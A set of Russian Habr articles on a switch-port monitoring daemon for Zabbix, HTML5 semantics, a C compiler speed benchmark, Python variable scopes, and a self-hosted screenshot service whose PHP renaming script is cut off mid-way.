Рассмотрим управляемые свичи. Классический пример с ними — опрашивать состояние каждого порта, а также объём и состав прошедшего трафика. Делается это средствами самого zabbix, как именно [смотрите здесь](http://habrahabr.ru/post/154723/). Только мне мониторинг этих параметров не нужен. Гораздо интереснее отслеживать, какие устройства подключены к коммутатору. Он ведь хранит и обновляет таблицу привязки mac адресов к портам, надо её только достать и красиво оформить. Однажды я нашёл [на хабре, как получить эту таблицу](http://habrahabr.ru/post/128439/). Двумя snmp запросами извлекаем списки портов и mac адресов, а потом по суффиксам значений OID-ов устанавливаем соответствие. Подробности смотрите в исходном посте, а здесь рассказывается, как улучшить такой мониторинг.
У исходной реализации есть несколько недостатков. Во-первых, запуск внешнего скрипта для опроса каждого порта создаёт чрезмерную нагрузку на zabbix сервер, а если по какой-то причине скрипт отработает некорректно или не завершится за положенное время, элемент данных может по-тихому перейти в состояние «не поддерживается», и информация перестанет обновляться. Во-вторых, идентифицировать устройство по mac адресу неудобно, нагляднее иметь его ip адрес или даже доменное имя. В-третьих, так как данные берутся из кеша свича, хорошо бы этот кеш предварительно «разогреть», иначе мы не увидим оборудование, неактивное в сети последнее время.
Чтобы решить эти проблемы, я написал небольшую программу на python. Это демон. С заданной периодичностью он сканирует локальную сеть, опрашивает свичи и посылает информацию на сервер zabbix. Информация по всем портам всех коммутаторов сначала записывается во временный файл, а потом за одно подключение передается серверу утилитой zabbix\_sender (с помощью ключа --input-file). Для опроса коммутаторов по snmp используется стандартная программа snmpwalk. Перед этим демон проводит arp сканирование доступных локальных сетей сканером nmap. Это, с одной стороны, «разогревает» кеш, а с другой, даёт отображение mac адресов в ip. Полученные таким образом ip адреса демон может дополнительно преобразовывать в доменные имена (работает, если определены реверсивные доменные зоны).
Так выглядит результат на zabbix сервере
На картинке представлен коммутатор HP Procurve 2520. С помощью vlan'ов на нём определено семь подсетей: пять — локальных и две — внешних к разным интернет-провайдерам. Два mac адреса внизу как раз принадлежат шлюзам провайдеров. Машина с демоном во внешние подсети не смотрит, поэтому ip адреса не определись. Если на порту висит много устройств, для наглядности отображается запись «another switch» (при желании это отключается).
А вот история по одному из портов. К нему подключен ip-телефон и компьютер. Видно, как сотрудник включил компьютер в начале дня, работал, работал… а потом ушёл пораньше. Пятница всё-таки.
Демон называется smonitor и доступен на [github.com](https://github.com/ifke/smonitor):
`git clone github.com/ifke/smonitor.git`
Для отладки работы и отслеживания ошибок демон пишет логи через службу syslog с категорией daemon. Кроме того, предусмотрен запуск программы в режиме отладки, когда демонизации не происходит и все логи выводятся на консоль. Для этого используется ключ --debug:
`./smonitor.py --debug`
Настройки приложения находятся в файле Settings.py. Там тоже python код, но он состоит только из определения переменных, поэтому разобраться несложно. Подсказки по доступным параметрам смотрите в файле Settings.py.sample.rus. Так как использую в основном ubuntu, программа тестировалось на этом дистрибутиве, и инструкция по установке есть только для него. То же касается и коммутаторов — проверял демон на том, что есть в наличии: HP Procurve 2520, HP Procurve 1700 и D-Link DES-3028. Судя [по этой информации](http://www.cisco.com/en/US/tech/tk648/tk362/technologies_tech_note09186a00801576ff.shtml), с оборудованием Cisco без допиливания программа работать не будет, потому что snmp запросы нужно делать отдельно по каждому vlan'у.
Демон не привязан именно к zabbix. Чтобы подружить его с другой системой мониторинга, достаточно переписать одну функцию, отвечающую за отправку данных. На самом деле, улучшать можно ещё много всего. Например, решить обратную задачу, то есть показывать для хостов, к какому порту какого свича они подключены. Научить демон определять, как соединены между собой коммутаторы. Добавить импорт соответствия mac и ip адресов из файла, тогда можно организовать полноценный мониторинг без arp сканирования, в том числе и сетей, к которым у демона нет непосредственного подключения (а кеш разогревать ping запросами по списку ip адресов). Короче, идей много только бы хватило времени и сил для борьбы с ленью. | https://habr.com/ru/post/201812/ | null | ru | null |
# Семантика в HTML 5
Я собираюсь сделать смелый прогноз. Еще долго после вас и меня HTML будет вокруг. Не только в миллиардах архивных страниц нашей эры, а как живые дыхательные органы. Слишком много сил, энергии и инвестиций пошло на разработку web-инструментов, протоколов и платформ, что бы все это было легко брошено.
Остановимся, что бы рассмотреть нашу ответственность. К несчастью, в истории мы связаны с разработкой важного инструмента нашей цивилизации, который будет использоваться для общения в течении десятилетий. И так когда мы направляем свои умы, праздно или всерьез, на улучшение HTML мы должны понимать на сколько далеко идущими могут быть последствия наших решений.
HTML 5, W3C недавно удвоило усилия по формированию нового поколения HTML, за прошедший год или около того набрал значительные темпы. Это огромны проект, который охватывает не только структуру HTML, но и разбор моделей, модели обработки ошибок, DOM, алгоритмы для извлечения ресурсов, медиа-котента, 2D графики, шаблоны данных, модели безопасности, модели загрузки страницы, хранение данных на стороне клиента и многое другое.
Так же существуют изменения в структуре, синтаксисе и семантике HTML, некоторые из них описал Lachlan Hunt в статье "[Обзор HTML 5](http://www.alistapart.com/articles/previewofhtml5/)" ([перевод на хабре](http://habrahabr.ru/blogs/webdev/31320/)).
Но в этой статье давайте рассмотрим исключительно семантику HTML. Это то, чем я был заинтересован в течении многих лет и я считаю, что это очень важно для будущего HTML.
BBC недавно объявила о том, что они будут [снижать долю микроформата hCalendar](http://www.bbc.co.uk/blogs/radiolabs/2008/06/removing_microformats_from_bbc.shtml) в своей программе телепередач, в пользу доступности и удобства [abbr design pattern](http://microformats.org/wiki/abbr-design-pattern). Это свидетельствует о том, что мы, вне всяких сомнений, вытолкнули семантические возможности HTML далеко за те пределы, которые когда-либо предназначались, и действительно это возможно для языка. Мы просто исчерпали элементы и атрибуты HTML, которые способны повысить семантику документа. Если мы будем и далее хитрить с существующими конструкциями HTML, то будет возникать все больше таких проблем. Потому что HTML страдает от фундаментального деффекта, как семантический язык разметки — его семантика фиксирована и не расширяема.
Это не просто теоретическая проблема. Сотни тысяч разработчиков используют class и id для создания более семантической разметки (они так же используют их в качестве «крючков» для CSS стилей, но это другой вопрос). Почти всегда эти разработчики используют специальные словари, значения которых они сами составляют, а не значения существующих схем. Это псевдосемантическая разметка — в лучшем случае.
Многие страницы по всему интернету используют микроформаты, что бы добавить более структурированной семантики, чем при помощи обнищавшего [набора элементов и атрибутов HTML](http://westciv.com/style_master/house/good_oil/semantics/htmlsemantics.html). В этом случае значения использованные для атрибута class согласованы со словарями, иногда взяты из других стандартов, такие как [vCard](http://en.wikipedia.org/wiki/VCard), иногда из недавно созданных словарей, где нет жесткого существующего стандарта (как в случае с [hReview](http://en.wikipedia.org/wiki/HReview)).
Расширяемая семантика
---------------------
Существует очень серьезная проблема, которую необходимо решить здесь. Нам нужны механизмы в HTML, которые четко и однозначно позволят разработчикам добавлять более выразительной семантики, а не псевдосемантики в их разметку. Это, пожалуй, является самой насущной задачей для HTML 5 проектов.
Но это не так просто, придумать механизм для создания большей семантики в HTML контенте: Существуют значительные ограничения, на любое решение. Возможно, самое большое из них — обратная совместимость. Решение, не может нарушить сотни миллионов устройств для просмотра использующихся сегодня, которые будут использоваться в ближайшие годы. Любое решение, которое не совместимо, не будет широко принято разработчиками, опасаясь потери читателей. Оно будет быстро засыхать на корню.
Решение должно быть так же вперед-совместимым. Не в том смысле, что оно должно работать в будущих броузерах — это задача разработчиков броузеров, но оно должно быть **расширяемым**. Мы не можем ожидать какого-либо единого решения, которое мы сейчас разработаем, что бы решить все вообразимые и невообразимые потребности семантики в будущем. Мы можем разработать решения, которые могут быть расширены для удовлетворения будущих потребностей, по мере их возникновения.
эти трудности, в совокупности представляют огромную проблему. Но в контексте языка, основные итерации которого проходят в десятилетние промежутки и важность которого, как глобальная платформа для коммуникаций имеет первостепенное значение, это проблема, которая должна быть решена.
Итак, как HTML 5 решит этот вопрос? HTML 5 вводит ряд новых элементов. Некоторые я назвал «структурные» — section, nav, aside, header и footer. Элемент dialog который по типу и содержанию схож с blockquote. Есть так же целый ряд элементов данных, как например [meter](http://www.w3.org/html/wg/html5/#the-meter), который представляет собой «скалярное измерение в пределах известного диапазона или дробное значение, например использование диска»; и элемент time{http://www.w3.org/html/wg/html5/#the-time}, который представляет собой дату и/или время.
Хоть эти элементы и могут быть полезными и, как выяснилось, вызвали определенный интерес, смогут ли они действительно решить эту проблему, мы определим с ограничениями совместимости снизу вверх и обратной совместимости.
Рассмотрим каждое препятствие
Обратная совместимость
----------------------
Как современные броузеры обрабатывают эти новые элементы, такие как section? Хорошо, последние версии Safari, Opera, Mozilla и даже IE7 все делают на странице следующим образом.
> `<h1>Top Level Headingh1>
>
> <section>
>
> <h1>Second Level Headingh1>
>
> <p>this is text in a section elementp>
>
> <section>
>
> <h1>Third Level Headingh1>
>
> section>
>
> section>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В начале это выглядит прекрасно. Но когда мы пытаемся задать стили CSS, например, для элемента section, который выглядит следующим образом:
```
section {color: red}
```
… Большинству из упомянутых броузеров это удается, но IE7 (и тем более 6) нет.
Поэтому у нас есть проблема обратной совместимости с 75% броузеров, использующихся в настоящее время. Учитывая, период полураспад Internet Explorer, мы можем прогнозировать, что большинство пользователей будут использовать IE6 и IE7, даже через несколько лет.
Если HTML 5 вводит новые элементы, какова вероятность, что они будут использоваться подавляющим большинством разработчиков — учитывая то, что они не совместимы с большинством используемых броузеров?
Давайте обратимся к совместимости снизу вверх, это следующая проблема.
Совместимость снизу вверх
-------------------------
Сначала мы поставим вопрос: «Зачем мы изобретать эти новые элементы?». Разумным ответом будет: «Потому что не хватает семантики в HTML, а добавление этих элементов мы увеличим семантику HTML, что не может быть плохим, или может?».
Добавляя эти элементы, мы рассматриваем необходимость повышения потенциала семантики HTML, но только в рамках узкой сферы. Независимо от того сколько элементов введем, мы всегда будем думать о добавлении большей семантике HTML. И добавив столько элементов, сколько нам хочется, мы не решим проблему. Нам не нужно добавлять определенные термины в словарь HTML, мы должны добавить механизм, позволяющий расширять семантику документа по мере необходимости. В технических терминах, мы должны сделать HTML расширяемым. HTML 5 не предлагает механизма расширяемости.
Таким образом HTML 5 выполняет функцию, которая убьет значительный процент современных броузеров и не позволяет добавить семантики языка вообще.
Остаюнся несколько вопросов о новых элементах. Откуда взяты названия новых элементов? Как было решено, что элемент навигации нужно называть «nav»? Зачем в навигации применяются термины page-level, site-level и meta-site-level?
Почему бы не принять существующий словарь, такой как [DocBook](http://www.docbook.org/)? Его словарь структуры документа более богат, он был разработан путем публикаций экспертов, на протяжении многих лет. Это не является аргументом в пользу DocBook, а дело в том, что чрезвычайно важная задача подготовки механизма обеспечения семантикой HTML проходит путь, уделяя малое внимание практике в работе которая началась более 30 лет назад. (Оригинал работы по GML начался в начале 1970-х годов)
Некоторые идеи решения
----------------------
И так, имее чрезвычайно важное значение нынешних усилий, у меня есть некоторые практические рекомендации, как решить эту проблему. Ну, я начал с одного.
Если добавление новых элементов не обсуждается, по крайней мере в этой дискуссии, атрибуты — другая логическая область HTML, сконцентрируемся на ней. В конце концов, мы на протяжении, почти, десяти лет использовали атрибуты class и id, как механизмы расширения семантики HTML. Многие разработчики уже знакомы с этим и чувствуют себя комфортно. Проект [microformats](http://microformats.org/wiki/Main_Page) показал, что существующих атрибутов не достаточно, для использования их как механизм расширения семантики HTML. Так что, если мы хотим использовать атрибуты для решения проблемы, мы должны ввести один или более новых атрибутов. Пред тем, как перейти к механики, того как это может работать, справедливо подвергнуть это предложение тем же требованиям, как и новые элементы в HTML 5. Самое главное во внедрении новых атрибутов — это будет ли обратная совместимость HTML. Если да, то обеспечивает ли это работоспособный механизм расширения семантики в HTML?
Давайте изобретем новый атрибут. Назовем его «structure», но название не важно. Мы можем использовать его так:
Давайте посмотрим, как наши броузеры это оценят.
Конечно, все наши броузеры обработают следующий элемент CSS.
```
div {color: red}
```
А как насчет этого:
```
div[structure] {font-weight: bold}
```
На самом деле, почти все броузеры, включая IE7, обработают стиль div с атрибутом structure, даже если нет такого атрибута. К сожалению, наше счастье изчезает, потому что IE6 нет. Но мы можем использовать этот атрибут в HTML и все существующие броузеры распознают его. Мы даже можем использовать стили CSS для нашего HTML, с использованием атрибута во всех современных броузерах. И если мы хотим обойти старые броузеры, мы можем добавить class, со значением стиля. В сравнении с HTML 5 решением, которое добавляет новые элементы, не работающие в Internet Explorer 6 или 7, мы видим, что это, безусловно, более обратно совместимое решение.
Расширяемость через атрибуты
----------------------------
Вместо новых элементов, HTML 5 должна принять ряд новых атрибутов. Каждый из этих атрибутов будет относиться к категории или типу семантики. Например, как я уже подробно изложил в [другой статье](http://microformatique.com/?p=83), HTML включает в себя: структурную семантику, риторическую семантику, ролевую семантику (принятую из XHTML) и другие классы и категории семантики.
Эти новые атрибуты, могут быть использованы как атрибут class: для придания элементу семантики, описывать характер элемента или для метаданных элемента.
Это не отличается от [ролей атрибута в XHTML](http://www.w3.org/TR/xhtml-role), где мы имеем один атрибут для всех элементов семантики, мы должны определить различные типы семантики элемента и разделить их.
Например XHTML атрибут role работает следующим образом:
> `<ul role="navigation sitemap">
>
> <li href="downloads">Downloadsli>
>
> <li href="docs">Documentationli>
>
> <li href="news">Newsli>
>
> ul>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Значение атрибута role является разделенное пространство списка из слов определенного [стандартным словарем](http://www.w3.org/1999/xhtml/vocab) или заданным словарем.
Почему бы не принять атрибут role, как есть? Ведь существуют другие виды семантики, для которых определение роли не применимо. Например:
```
He’s a fantastic person.
```
Это демонстрирует теоретический тип семантики — «риторический», который может быть использован для разметки документа риторического характера. Этот элемент явно не играет роли иронии в документе. Наоборот, содержит в себе элементы иронии.
Вот еще один пример. Все более очевидно, что в HTML не хватает представления машино-читаемого значения понятным для человека, например даты. Это лежит в основе проблемы BBC с микроформатом hCalendar, о ней мы говорили ранее. Хотя May Day next year действительно не имеет смысла, зато по аналогии May Day next year будет.
Опять же, когда мы используем конкретный термин «equivalent» в качестве атрибута или какой либо другой для обозначения такого рода семантики, это не является проблемой. Важно отметить, что это не так просто, как использование атрибута class или role, где в один элемент помещается целый набор элементов семантики информации. Для, должным образом, расширяемого решения, которое обеспечит обратную совместимость и достаточную гибкость, стоит исследовать в этом направлении.
Я назвал этот раздел «Некоторые идеи решения», поскольку значительный объем работы необходимо сделать, для того, что бы создать действительно работоспособное решение. Открытые вопросы включают в себя следующее.
* сколько различных семантических атрибутов должно быть. Будут ли эти категории расширяемыми, если да, то каким образом?
* Каким образом определять словарь?
* Мы просто изобретаем термины, которые мы хотим, почти тем же образом, как и разработчикки использовали значение class, или возможные значения должны быть определены стандартизированной спецификацией?
* Если у нас есть конфликт, между двумя словарями, например двум идентичным терминам дают определения два различных словаря, как это решить?
* Нужно ли пространство имен или же существует другой механизм?
Вместо того, что бы торопится с ответом на эти вопросы, я выдвинул на свет вопросы которые необходимо решить и начать диалог. Разветвление и размах решений сделаных в HTML 5, слишком велик для принятия этих решений, необходимо внести осведомленность о лингвистике, семантике, семиотике и смежных областях.
Надеюсь понятно, что просто внесение новых элементов в HTML не является решением проблемы расширения семантики в HTML.
Давайте не спешить с легким решением — с изменением «климата» все это обременит наших внуков проблемой, как и сейчас. По крайней, мере давайте оставим им максимально хороший HTML, на сколько возможно. | https://habr.com/ru/post/49734/ | null | ru | null |
# Тест Си компиляторов под Windows
После многочисленных споров на тему «Какой компилятор лучше генерирует код», появилась идея провести самому испытания. Основной целью испытания была проверка скорости работы программы с оптимизацией по скорости. Результат тестирования: среднее арифметическое время выполнения тестовой функции в миллисекундах (1/1000 сек). т.е. чем меньше тем лучше.
**В тестировании участвовали:*** Intel C++ Compiler Pro 11.1.054;
* GCC 4.5.0 (MinGW);
* MS C/C++ Compiler 15.00.21022.08 (VS 2008);
* CodeGear C++ Builder 11.0 (C++Builder 2007);
* Tiny C Compiler 0.9.25.
**Железо для теста:*** Компьютер: CPU Intel E5200 (2-ядерный) 2.5 Ггц + 2 Гб ОЗУ;
* Ноутбук: CPU AMD Athlon QL-62 (2-ядерный) 2 Ггц + 3 Гб ОЗУ.
**ОС для теста:**
MS Windows XP SP3 Eng x32 на ноутбуке и на компьютере (с одного диска устанавливались и один и тот же SP3 ставился).
**Варианты компиляции:**1. Отключена любая оптимизация;
2. Включена вся возможная оптимизация.
**Ограничения на тестирование:*** Исходный код тестовой программы не изменяется в зависимости от компилятора;
* Тестовая функция не использует функции системы, т.е. только вычислительные операции, все функции связанные с вызовом системных функций вызываются до и после замера времени;
* Не используются библиотеки распараллеливания типа OpenMP;
* Вычисления производятся только в одном потоке;
* Компьютер не загружен больше никакими другими программами, только запущенная Windows + Notepad + тестовая программа;
* Для тестов не использовалась VCL, MFC, CLR, ATL;
* Код программ компилировался именно как С код, а не С++;
* Для Tiny C Compiler использовался только 1 вариант компиляции, потому что он не поддерживает оптимизацию на уровне кода. Из документации: `Оптимизация кода ограничена вычислением константных выражений на этапе компиляции, заменой операций умножения и деления операциями сдвига где это возможно, а также некоторыми другими действиями. Оптимизация переходов не производится, так как это потребовало бы организацию промежуточного кода в более абстрактном виде.`
**Метод тестирования:**1. Выделение памяти для буферов;
2. Получение UserTime текущего потока через GetThreadTimes;
3. Выполнение тестовой функции;
4. Получение UserTime текущего потока через GetThreadTimes;
5. Получение разницы во времени с точностью до миллисекунд (1/1000 сек);
6. Повторение последних 4-х действий 10 раз;
7. Вычисление среднего арифметического значения времени.
**Алгоритм вычислительной функции:**1. Инициализация ключевой последовательности для алгоритма шифрования RC4;
2. Инициализация ключевой последовательности для алгоритма шифрования AES-128;
3. Заполнение первого тестового буфера данными полученными из генератора RC4;
4. Вычисление CRC32 для первого тестового буфера;
5. Шифрование первого тестового буфера алгоритмом AES-128, блоками по 128 бит, с помещением результата во второй тестовый буфер;
6. Заполнение первого тестового буфера данными полученными из генератора RC4, т.е. первоначальные данные затираются полностью;
7. Расшифровка второго тестового буфера с помещением результата в первый тестовый буфер;
8. Подсчет CRC32 для расшифрованного первого тестового буфера;
9. Сравнение CRC до шифрование и после.
**Параметры теста:*** Кол-во данных для шифрования — 1600 килобайт (102400 блоков);
* Кол-во тестовых итераций для вычисления среднего арифметического значения времени — 10.
**Результаты тестирования:**
**Intel C++ Compiler Pro 11.1.054*** Ноутбук без оптимизации: 6301 мс;
* Ноутбук с оптимизацией: 971 мс;
* Компьютер без оптимизации: 4541 мс;
* Компьютер с оптимизацией: 867 мс.
**GCC 4.5.0 (MinGW)*** Ноутбук без оптимизации: 6568 мс;
* Ноутбук с оптимизацией: 1691 мс;
* Компьютер без оптимизации: 4979 мс;
* Компьютер с оптимизацией: 1521 мс.
**MS C/C++ Compiler 15.00.21022.08 (VS 2008)*** Ноутбук без оптимизации: 5149 мс;
* Ноутбук с оптимизацией: 1574 мс;
* Компьютер без оптимизации: 3740 мс;
* Компьютер с оптимизацией: 1290 мс.
**CodeGear C++ Builder 11.0 (C++Builder 2007)*** Ноутбук без оптимизации: 4982 мс;
* Ноутбук с оптимизацией: 3854 мс;
* Компьютер без оптимизации: 4006 мс;
* Компьютер с оптимизацией: 3185 мс.
**Tiny C Compiler 0.9.25*** Ноутбук: 6275 мс;
* Компьютер: 4606 мс.
Более наглядно:График времени выполнения кода:График скорости выполнения кода относительно лидера теста (лидер теста — 100%)
**Итоги:**
По результатам тестирования на оптимизацию по скорости, компиляторы занимают следующие места:1. Intel C++ Compiler Pro 11.1.054;
2. MS C/C++ Compiler 15.00.21022.08 (VS 2008);
3. GCC 4.5.0 (MinGW);
4. CodeGear C++ Builder 11.0 (C++Builder 2007);
5. Tiny C Compiler 0.9.25.
Как видно, ребята из Intel хорошо постарались (на 32% код работал быстрее чем у ближайшего соперника) и их код имеет отличную оптимизацию не зависимо от того что он работает на Intel или AMD процессоре.
В тоже время С++ Builder показал себя не с лучшей стороны (отставание в 2 раза), что свидетельствует о чуть другой специфики его применения.
Ну а про Tiny C Compiler 0.9.25 и речи не может быть, потому что он вообще не поддерживает оптимизацию переходов, вот и выходит, что скорость выполнения программы находится на уровне с другими компиляторами без оптимизации при компиляции.
Конечно С++ Builder оказался чуть староват потому что не нашел я у себя более свежей версии. Хотя мне кажется, там мало что изменилось в этом плане.
**Заключение**
По результатам тестирования нельзя судить о компиляторе, что он хорош или плох, потому что каждому своё применение, а можно лишь говорить о том, какой их них подойдет для создания программных продуктов связанных с вычислительными операциями. | https://habr.com/ru/post/107664/ | null | ru | null |
# Все, что вы хотели узнать про области видимости в Python, но стеснялись спросить
*В преддверии старта нового потока по курсу [«Разработчик Python»](https://otus.pw/RHDK/), решили поговорить про области видимости в Python. Что из этого вышло? — Читайте в материале ниже.*
---
Сегодня мы будем говорить о важных теоретических основах, которые необходимо понимать и помнить, чтобы писать грамотный, читаемый и красивый код. Мы будем вести речь об областях видимости переменных. Эта статья будет полезна не только новичкам, но и опытным программистам, которые пришли в Python из другого языка и хотят разобраться с его механиками работы.
Области видимости определяют, в какой части программы мы можем работать с той или иной переменной, а от каких переменная «скрыта». Крайне важно понимать, как использовать только те значения и переменные, которые нам нужны, и как интерпретатор языка себя при этом ведет. А еще мы посмотрим, как обходить ограничения, накладываемые областями видимости на действия с переменными. В Python существует целых 3 области видимости:
* Локальная
* Глобальная
* Нелокальная
Последняя, нелокальная область видимости, была добавлена в Python 3.
Обычно, речь заходит про области видимости, когда происходит знакомство с функциями. На их примере мы и будем рассматривать работу областей видимости переменных.
### Локальная область видимости
Рассмотрим функцию, которая выведет список `some_list` поэлементно:
```
def print_list(some_list):
for element in some_list:
print(element)
```
Здесь `element` и `some_list` – локальные переменные, которые видны только внутри функции, и которые не могут использоваться за ее пределами с теми значениями, которые были им присвоены внутри функции при ее работе. То есть, если мы в основном теле программы вызовем `print(element)`, то получим ошибку:
```
NameError: name 'element' is not defined
```
Теперь мы поступим следующим образом:
```
def print_list(some_list):
for element in some_list:
print(element)
element = 'q'
print_list([1, 2, 3])
print(element)
```
И получим:
```
1
2
3
q
```
Здесь переменная `element` внутри функции и переменная с таким же именем вне ее – это две разные переменные, их значения не перекрещиваются и не взаимозаменяются. Они называются одинаково, но ссылаются на разные объекты в памяти. Более того, переменная с именем element внутри функции живет столько же, сколько выполняется функция и не больше. Но будьте аккуратны с тем, чтобы давать локальным и глобальным переменным одинаковые имена, сейчас покажу почему:
```
def print_list(some_list):
for element in sudden_list:
print(element)
sudden_list = [0, 0, 0]
print_list([1, 2, 3])
```
Результат:
```
0
0
0
```
Обратите внимание на то, что интерпретатор не указал нам на ошибки. А все потому что `sudden_list` находится в глобальной области видимости, то есть изнутри функции `print_list` мы можем к нему обращаться, поскольку изнутри видно то, что происходит снаружи. По причине таких механик работы старайтесь называть локальные переменные внутри функции не так, как называете переменные в глобальной области видимости.
Здесь важно поговорить о константах. Интерпретатору Python нет разницы как вы называете переменную, поэтому код выше будет лучше переписать в следующем виде:
```
SUDDEN_LIST = [0, 0, 0]
def print_list(some_list):
for element in SUDDEN_LIST:
print(element)
print_list([1, 2, 3])
```
Теперь все на своих местах. Дело в том, что в Python нельзя каким-то образом строго определить константу, как объект, который не должен быть изменен. Так что то, как вы используете значение переменной, имя которой записано заглавными буквами, остается лишь на вашей совести. Другой вопрос, что таким способом записанная переменная даст понять тому, кто будет читать ваш код, что переменная нигде изменяться не будет. Или по крайней мере не должна.
### Глобальная область видимости
В Python есть ключевое слово `global`, которое позволяет изменять изнутри функции значение глобальной переменной. Оно записывается перед именем переменной, которая дальше внутри функции будет считаться глобальной. Как видно из примера, теперь значение переменной `candy` увеличивается, и обратите внимание на то, что мы не передаем ее в качестве аргумента функции `get_candy()`.
```
candy = 5
def get_candy():
global candy
candy += 1
print('У меня {} конфет.'.format(candy))
get_candy()
get_candy()
print(candy)
```
В результате получим:
```
У меня 6 конфет.
У меня 7 конфет.
7
```
Однако менять значение глобальной переменной изнутри функции – не лучшая практика и лучше так не делать, поскольку читаемости кода это не способствует. Чем меньше то, что происходит внутри функции будет зависеть от глобальной области видимости, тем лучше.
***Лайфхак**: Чтобы не мучиться с именованием переменных, вы можете вынести основной код программы в функцию `main()`, тогда все переменные, которые будут объявлены внутри этой функции останутся локальными и не будут портить глобальную область видимости, увеличивая вероятность допустить ошибку.*
### Нелокальная область видимости
Появилось это понятие в Python 3 вместе с ключевым словом `nonlocal`. Логика его написания примерно такая же, как и у `global`. Однако у `nonlocal` есть особенность. `Nonlocal` используется чаще всего во вложенных функциях, когда мы хотим дать интерпретатору понять, что для вложенной функции определенная переменная не является локальной, но она и не является глобальной в общем смысле.
```
def get_candy():
candy = 5
def increment_candy():
nonlocal candy
candy += 1
return candy
return increment_candy
result = get_candy()()
print('Всего {} конфет.'.format(result))
```
Результат:
```
Всего 6 конфет.
```
Насколько это полезно вам предстоит решить самостоятельно. Больше примеров вы можете найти [здесь](https://www.python.org/dev/peps/pep-3104/).
**В качестве вывода можно сформулировать несколько правил:**
1. Изнутри функции видны переменные, которые были определены и внутри нее и снаружи. Переменные, определенные внутри – локальные, снаружи – глобальные.
2. Снаружи функций не видны никакие переменные, определенные внутри них.
3. Изнутри функции можно изменять значение переменных, которые определены в глобальной области видимости с помощью спецификатора `global`.
4. Изнутри *вложенной* функции с помощью спецификатора nonlocal можно изменять значения переменных, которые были определены во внешней функции, но не находятся в глобальной области видимости.
Вот и все, надеюсь этот материал был вам полезен, и он пролил хоть немного света на то, как области видимости функционируют в Python. Разобравшись с областями видимости вы сделаете еще один наш на пути к созданию красивого и читаемого кода.
Также хочу пригласить всех желающих на [бесплатный вебинар](https://otus.pw/RHDK/) от OTUS, где *изучим такой инструмент, как аннотация типов в Python: обсудим причины, по которым его многие недооценивают, рассмотрим ряд примеров из боевой практики, когда аннотация типов могла спасти или спасла ситуацию. Поговорим о том, как и когда внедрять проверку типов на своих проектах*. | https://habr.com/ru/post/487952/ | null | ru | null |
# Свой сервис скриншотов для спокойного сна
Довольно часто в разработке, да и не только, нужно поделиться с кем-нибудь скриншотом. Поэтому удивить кого-либо сервисами [Clip2Net](http://habrahabr.ru/post/26477/), Joxi или [Gyazo](http://habrahabr.ru/post/57587/) уже сложно.
Но есть несколько нюансов, которые могут мешать их использовать. Для меня это реклама или множество мусорной информации вокруг скриншота (например, из какого окна браузера и когда я его сделал — я параноик), десяток кликов до заветной ссылки в браузере и буфере обмена. А хранить свой скриншот с изображением самой важной и сверх секретной информации непонятно где — это вообще непонятно как.
Нужно так: нажал горячую клавишу для прямоугольника или экрана, или для окна с прокруткой и все. Картинка открылась в браузере, а ссылка на нее скопировалась в буфер обмена. Все это на своем хостинге рядом со своими сайтами. Опционально на скриншоте можно еще порисовать разные стрелочки и кружочки.
Эти задачи отлично решает программка Fast Stone Capture плюс свой FTP, куда можно загружать созданные скриншоты. Но есть нюансы, о которых, если подумать, можно перестать спокойно спать. Под катом рассказываю о нюансах и как их решить, если вам тоже нужны только картинки, только на своем сервере и, чтобы спать спокойно.
Вот стандартный вариант настройки генерируемого имени файла и параметров для фтп загрузки.
| | |
| --- | --- |
| image | image |
Вроде все хорошо. Сделали скрншот, он загрузился на фтп, открылась ссылка и она же попала в буфер обмена. Все у себя, ничего лишнего, просто сказка.
Однако видим, что первый скриншот получился с именем [example.com/\_ss/screenshot0001.png](http://example.com/_ss/screenshot0001.png), второй [example.com/\_ss/screenshot0002.png](http://example.com/_ss/screenshot0002.png), третий [example.com/\_ss/screenshot0003.png](http://example.com/_ss/screenshot0003.png) и все они так и лежат на вашем фтп. Интересно, как быстро кто-то догадается из ваших знакомых, особенно разработчиков, что можно так легко пройтись по всем вашим картинкам?
Ведь наверняка найдется то, что не для всех предназначено. Спустя пару лет такого использования этого скриншотера, боюсь представить, что могло быть. Но лучше об этом и не думать. Даже если использовать шаблоны с датами, понимание такого нюансика уже не даст уснуть.
**Идея номер 1**
На секунду даже показалось, что можно пользоваться и клиптунетом с ёхи или гязо. Там ссылки довольно сложно перебрать. Попробовал. Но нет. Это единственное преимущество не победило все недостатки против собственного фтп с картинками. Особенно после многолетней привычки делать скриншот одним нажатием горячей клавиши и получать именно то, что задумывалось — скриншот без мусора, а еще и на своем сервере.
**Идея номер 2**
Можно еще и в поддержку программки было бы написать, но это пока ответ, пока появится, если и появится. За 30 минут можно все самому сделать.
В общем, будем тюнинговать то, к чему душа лежит.
**Решение номер 1**
Делаем шаблон вида H$YE$SL$M01$D$S$H####$N$SABC$S — добавляем множество мусора между датами, порядковым номером скриншота, секунды с минутами дублируем по несколько раз в разных местах и т.п. Определенно название файла H2014E41L080115411600085941ABC41.png уже дает намного меньше повода для беспокойства.
Можно было бы и остановиться на этом, но мысль о переборе все еще не дает покоя. Хотя, кому ж они нужны эти мои картинки? Но дело ж принципа: разработка, безопасность, все дела. То есть я еще не спокоен. Наверняка кто-то еще тоже окажется.
**Решение номер 2**
Делаем такой же не простой шаблон названия и добавляем к нему свой какой-нибудь пароль (соль). Например,
2G35nl0OJb4FkZH$YE$SL$M01$D$S$H####$N$SABC$S. И пишем свой маленький скриптец, который при открытии ссылки будет еще шаманить над этим файлом. На самом деле тут уже можно было бы обойтись просто мусором в шаблоне файла, шаблон то по итогу никто не узнает. Но мало ли.
В итоге окно параметров FTP стало выглядеть так:
Добавляем в URL ссылку на свой скрипт, который сможет открывшийся файл переименовать как нужно и откроет его в браузере уже по новому адресу. Совершенно секретному, как положено. Вы то первый откроете новый скриншот, а дальше для всех ссылка уже будет новая. Добавим здесь же опцию удаления старых скриншотов.
**Немного кода на PHP**
```
$key = 'JLWWJLjfsdlf99234ged2340'; // соль для md5 в названии файла.
$folder = 'files'; // имя папки со скриншотами, которая находится рядом с ss.php
$lifetime = 86400 * 7; // чистка старых скриншотов после 7 суток
// дальше все работает само
$link = '';
$cd = dirname(__FILE__) . '/';
// Если автоматически открыли ссылку после создания скриншота
if (!empty($_GET['file']))
{
$file = ltrim($_GET['file'], '/'); // FS добавляет слеш после ?file=
if (preg_match('#^[0-9a-z_-]+\.(png|jpg|jpeg|gif)$#si', $file, $f))
{
$dest = $cd . $folder . '/' . md5($key . $file) . '.' . $f[1];
